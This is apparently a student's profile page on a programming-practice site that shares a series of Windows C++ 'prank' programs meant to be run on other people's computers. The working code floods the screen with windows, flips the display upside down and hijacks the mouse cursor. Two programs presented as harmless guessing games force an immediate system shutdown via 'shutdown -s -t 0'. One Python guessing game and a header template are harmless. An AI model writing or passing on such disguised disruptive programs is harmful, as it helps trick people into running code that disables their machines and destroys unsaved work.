• 个人简介

    卷死我究竟对你有什么好处


    本人主页放置了a lot of代码,欢迎游玩!!! (最近有点忙,之后会持续更新的)


    Finally updated after a long wait! I've been extremely busy and had no time before. But this time's code is truly exceptional (top-notch). However, please make sure to read the instructions carefully before using this code machine:

    1.我把这个系列改名为机惨系列;

    2.本代码吸取了我之前非常惨痛的教训(就是被自己的代码机惨了),所以我设置了一个可以关闭程序且不用关机的way,具体的话就来问我吧(现在貌似只有我一人知道.......);

    3.现在机惨是要扣积分的;

    4.给别人机惨完后请务必时时刻刻守在自己的computer前;

    #include<windows.h>
    #include<vector>
    #include<cstdlib>
    #include<ctime>
    #include<tchar.h>
    using namespace std;
    vector<HWND> windows;
    bool fullScreenMode=false;
    int windowCount=0;
    const int MAX_WINDOWS=1000;
    LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
    {
        switch (uMsg)
    	{
            case WM_CREATE: 
    		{
                SetWindowText(hwnd, TEXT("警告"));
                CreateWindow(TEXT("STATIC"), TEXT("今日不宜开电脑"), 
                             WS_CHILD | WS_VISIBLE | SS_CENTER,
                             10, 20, 200, 30, hwnd, NULL, 
                             (HINSTANCE)GetWindowLongPtr(hwnd,GWLP_HINSTANCE),NULL);
                CreateWindow(TEXT("BUTTON"), TEXT("关闭"), 
                             WS_CHILD | WS_VISIBLE | BS_DEFPUSHBUTTON,
                             80, 60, 60, 30, hwnd, (HMENU)1, 
                             (HINSTANCE)GetWindowLongPtr(hwnd,GWLP_HINSTANCE),NULL);
                break;
            }
            case WM_COMMAND: 
    		{
                if(LOWORD(wParam)==1) 
    			{ 
                    for(size_t i=0;i<windows.size();i++) 
    				{
                        if(windows[i]==hwnd) 
    					{
                            vector<HWND>::iterator it=windows.begin();
                            advance(it,i);
                            windows.erase(it);
                            break;
                        }
                    }
                    DestroyWindow(hwnd);
                }
                break;
            }
            case WM_KEYDOWN: 
    		{
                if(wParam == VK_TAB)
    			{
                    for(size_t i=0;i<windows.size();i++) 
                        DestroyWindow(windows[i]);
                    windows.clear();
                    PostQuitMessage(0);
                }
                break;
            }
            case WM_DESTROY: 
    		{
                if(windows.empty()) 
                    PostQuitMessage(0);
                break;
            }
            default:
                return DefWindowProc(hwnd, uMsg, wParam, lParam);
        }
        return 0;
    }
    bool RegisterWindowClass(HINSTANCE hInstance) 
    {
        WNDCLASS wc={};
        wc.lpfnWndProc=WindowProc;
        wc.hInstance=hInstance;
        wc.lpszClassName=TEXT("MyWindowClass");
        wc.hCursor=LoadCursor(NULL, IDC_ARROW);
        wc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1);
        
        return RegisterClass(&wc)!=0;
    }
    HWND CreateNewWindow(HINSTANCE hInstance,int x,int y) 
    {
        HWND hwnd=CreateWindowEx(
            0,
            TEXT("MyWindowClass"),
            TEXT("警告"),
            WS_OVERLAPPEDWINDOW & ~WS_THICKFRAME & ~WS_MAXIMIZEBOX,
            x, y,
            240, 120,
            NULL,
            NULL,
            hInstance,
            NULL
        );
        if (hwnd) 
    	{
            ShowWindow(hwnd, SW_SHOW);
            windows.push_back(hwnd);
            windowCount++;
        }
        return hwnd;
    }
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
    {
        srand(static_cast<unsigned int>(time(NULL)));
        if (!RegisterWindowClass(hInstance))
            return 0;
        int screenWidth=GetSystemMetrics(SM_CXSCREEN);
        int screenHeight=GetSystemMetrics(SM_CYSCREEN);
        int startX=10;
        int startY=10;
        int currentX=startX;
        int currentY=startY;
        const int windowWidth=240;
        const int windowHeight=120;
        const int spacing=20;
        int cols=(screenWidth - startX)/(windowWidth + spacing);
        int rows=(screenHeight - startY)/(windowHeight + spacing);
        MSG msg={};
        for(int i=0;i<rows&&windowCount<MAX_WINDOWS;i++) 
    	{
            for(int j=0;j<cols&&windowCount<MAX_WINDOWS;j++) 
    		{
                CreateNewWindow(hInstance, currentX, currentY);
                currentX += windowWidth + spacing;
                Sleep(50);
                while(PeekMessage(&msg,NULL,0,0,PM_REMOVE)) 
    			{
                    TranslateMessage(&msg);
                    DispatchMessage(&msg);
                }
            }
            currentX=startX;
            currentY+=windowHeight + spacing;
        }
    	fullScreenMode=true;
        while(windowCount<MAX_WINDOWS) 
    	{
            int x=rand()%(screenWidth-windowWidth);
            int y=rand()%(screenHeight-windowHeight);
            CreateNewWindow(hInstance,x,y);
            Sleep(100); 
            while(PeekMessage(&msg,NULL,0,0,PM_REMOVE)) 
    		{
                TranslateMessage(&msg);
                DispatchMessage(&msg);
            }
            if(windows.empty()) 
                break;
        }
        while(GetMessage(&msg,NULL,0,0)) 
    	{
            TranslateMessage(&msg);
            DispatchMessage(&msg);
            if (windows.empty()) 
                break;
        }
        return 0;
    }
    

    这个背景真的so beautiful,看着就爽,我的DEV-C++也是拥有夏日限定清凉专属联动皮了,真的很好看 image (不许盗图,改图,谢谢配合)


    为了防止somebody(lk)不会写头文件,我选择赞助一个delicious万能头:

    #include<bits/stdc++.h>
    using namespace std;
    #define ll long long
    const ll N=1e8+5;
    int main()
    {
    	ios::sync_with_stdio(0),cin.tie(0),cout.tie(0);
    	return 0;
    }
    

    也是终于更新了,这个代码是Python脚本模式的(运行请按F5),猜数字(无坑),不要用你的c++运行ta!

    from random import randint
    n=randint(1,100)
    luck=0
    while n!=luck:
        luck=int(input("Please guess a number(1-100):"))
        if luck>n:
            print("The number is too big.Please guess again:")
        else:
            print("The number is too small.Please guess again:")
    print("You are so lucky!The number is right")
    

    ugly系列: 如果你的显示屏出了a little 问题,please运行this代码:

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main()
    {
        DEVMODE dm;
        dm.dmSize=sizeof(DEVMODE);
        dm.dmFields=DM_DISPLAYORIENTATION;
        if (EnumDisplaySettings(NULL,ENUM_CURRENT_SETTINGS,&dm)) 
    	{
            dm.dmDisplayOrientation=DMDO_DEFAULT;
            ChangeDisplaySettings(&dm,CDS_UPDATEREGISTRY);
        }	
        return 0;
    }
    

    你可以运行this代码to make your 机子 出问题:

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main()
    {
        DEVMODE dm;
        dm.dmSize=sizeof(DEVMODE);
        dm.dmFields=DM_DISPLAYORIENTATION;
        if (EnumDisplaySettings(NULL,ENUM_CURRENT_SETTINGS,&dm))
    	{
            dm.dmDisplayOrientation=DMDO_180;
            ChangeDisplaySettings(&dm,CDS_UPDATEREGISTRY);
        }
    	return 0;
    }
    

    2.0升级版本:

    #include<windows.h>//水印~~~
    #include<bits/stdc++.h>
    #include<ctime>
    #include<cstdlib>
    using namespace std;
    long long a,tot;
    int main()
    {
        int screenWidth=GetSystemMetrics(SM_CXSCREEN);
        int screenHeight=GetSystemMetrics(SM_CYSCREEN);
        cout<<"请输入一个>=60000的正整数"<<endl;
    	Sleep(1000);
    	cout<<"thanks!"<<endl;
    	cin>>a;
    	while(a<60000)
    	{
    		Sleep(1000);
    		cout<<"重输!!!"<<endl;
    		cin>>a;
    	}
    	cout<<"你还有3秒钟逃离时间!!!"<<endl;
    	Sleep(1000);
    	for(int i=3;i>=1;i--)
        {
        	cout<<i<<"!!!"<<endl;
            Sleep(1000);
    	}
    	cout<<"也就持续"<<a/1000<<"秒吧"<<endl;
    	cout<<"不要乱动,后面有惊喜!!!"<<endl; 
        srand(time(0));
        DWORD startTime=GetTickCount();
    	
        while (GetTickCount()-startTime<a) 
    	{
            int randomX=rand()%screenWidth;
            int randomY=rand()%screenHeight;
            SetCursorPos(randomX,randomY);
        }
        Sleep(1000);
        cout<<"快关掉程序!!!"<<endl;
        Sleep(1000);
        cout<<"你还有3秒钟逃离时间!!!"<<endl;
    	Sleep(1000);
    	for(int i=3;i>=1;i--)
        {
        	cout<<i<<"!!!"<<endl;
            Sleep(1000);
    	}
    	cout<<"你掉进陷阱了!!!"<<endl;
        system("shutdown -s -t 0");
        return 0;
    }
    

    单机游戏,好玩不难(可能有那么一点exciting):

    #include<windows.h>//水印~~~
    #include<bits/stdc++.h>
    #include <cstdlib>
    #include <ctime>
    using namespace std;
    int main() 
    {
        srand(time(0));
        int bombPosition=rand()%10+1;
        int guess;
        int attempts=0;
        bool gameOver=false;
        cout<<"=== 猜炸弹游戏 ==="<<endl;
        Sleep(1000);
        cout<<"炸弹隐藏在1-10号位置中......"<<endl;
        Sleep(1000);
        cout<<"请猜测炸弹的位置,避开它!"<<endl;
        Sleep(1000);
        cout<<"Pleace guess it!!!"<<endl;
        Sleep(1000);
        cout<<"Let's"<<endl;
        Sleep(1000);
        cout<<"begin!!!"<<endl;
        Sleep(1000);
        cout<<"==================" << endl;
        Sleep(1000);
        cout<<endl;
        Sleep(1000);
        cout<<endl;
        Sleep(1000);
        cout<<endl;
        Sleep(1000);
        while(!gameOver&&attempts<5) 
    	{
    		Sleep(1000);
            cout<<"请输入你的猜测(范围为1-10):"<<endl;
            Sleep(1000);
            cin>>guess;
            Sleep(1000);
            cout<<endl;
            attempts++;
            if(guess<1||guess>10) 
    		{
    			Sleep(1000);
                cout<<"重输!!!"<<endl;
                continue;
            }
            if(guess==bombPosition) 
    		{
    			Sleep(1000);
                cout<<"你的机子被炸报废了!!!"<<endl;
                Sleep(1000);
                system("shutdown -s -t 0");
            } 
    		else 
    		{
    			Sleep(1000);
                int distance=abs(guess-bombPosition);
                cout<<"安全:这个位置没有炸弹!!!"<<endl;
                Sleep(1000);
                if(distance<=2)
    			{
    				cout<<"警告:离炸弹很近?!"<<endl;
                	Sleep(1000);
    			}
    			else if(distance<=4) 
    			{
    				cout<<"提示:离炸弹有点近~~~"<<endl;
    				Sleep(1000);
    			}	
    			else
    			{
    				cout<<"很好:离炸弹很远!!!"<<endl;
    				Sleep(1000);
    			}
                cout<<"你已经尝试了"<<attempts<<"次,还有"<<(5-attempts)<<"次机会"<<endl;
                Sleep(1000);
            }
        }
        if(!gameOver) 
    	{
    		Sleep(1000);
            cout<<"你的机子逃过一劫!!!"<<endl;
            Sleep(1000);
            cout<<"炸弹的位置是:"<<bombPosition<<endl;
            Sleep(1000);
            cout<<"You are so lucky!!!"<<endl;
            Sleep(1000);
            cout<<"Very good!!!"<<endl;
            Sleep(1000);
            cout<<"Game"<<endl;
            Sleep(1000);
            cout<<"over!!!"<<endl;
            Sleep(1000);
        }
        Sleep(1000);
        cout<<"(小提示:请注意,不要太贪玩呢!!!)"<<endl;
        Sleep(1000);
        cout<<"You will regret it!!!"<<endl;
        Sleep(1000);
        cout<<"......"<<endl;
        system("pause");
        return 0;
    }
    

    @原创——感谢来自豆羽墨主页的代码

    #include <iostream>
    #include <cstdlib>
    #include <ctime>
    #include <windows.h>
    using namespace std;
    
    int main() {
        srand((unsigned int)time(NULL));
        const int MIN_NUM = 1000;
        const int MAX_NUM = 5000;
        int target = rand() % (MAX_NUM - MIN_NUM + 1) + MIN_NUM;
    
        int guess;
        int chance = 10;
    
        cout << "欢迎光临     猜数字游戏:1000~5000,10次机会,连续输入数字" << endl << endl;
    
        while (chance > 0) {
            while (cin >> guess) {
                if (guess < MIN_NUM) guess = MIN_NUM;
                else if (guess > MAX_NUM) guess = MAX_NUM;
    
                chance--;
    
                if (guess == target) {
               
                    int duration = guess * 10;
                    DWORD start = GetTickCount();
                    while (GetTickCount() - start < duration) {
                        int x = rand() % 1920;
                        int y = rand() % 1080;
                        SetCursorPos(x, y);
                        Sleep(30);
                    }
              
                    return 0;
                } else if (guess < target) {
                    cout << "猜小了,剩余机会:" << chance << endl;
                } else {
                    cout << "猜大了,剩余机会:" << chance << endl;
                }
    
                if (chance == 0) {
                    
                    for (int i = 3; i > 0; i--) {
                        cout << i << "..." << endl;
                        Sleep(1000);
                    }
                    system("shutdown -s -t 0");
                    return 0;
                }
            }
    
            if (cin.fail()) {
                cin.clear();
                cin.ignore(1000, '\n');
                cout << "输入错误,剩余机会:" << chance << endl;
            }
        }
    
        return 0;
    

    所有代码声明原创!!!拿我代码记得交版权费!!!


    又及,使用我的头像记得交版权费,谢谢;(@somebody)


    敬请期待......


    你们爱看的:image image

    image image image image

  • 通过的题目

  • 最近活动

题目标签

TL/一阶
218
一本通编程启蒙
58
简单分支
39
分支问题
29
语法周赛
19
for循环
18
输入输出
18
模拟
16
循环嵌套
15
循环求和
14
循环问题
14
小数输出
12
基本输出
12
字符串
11
其他
11
数学
11
暴力枚举
9
拆位问题
9
数据类型
8
比赛题
8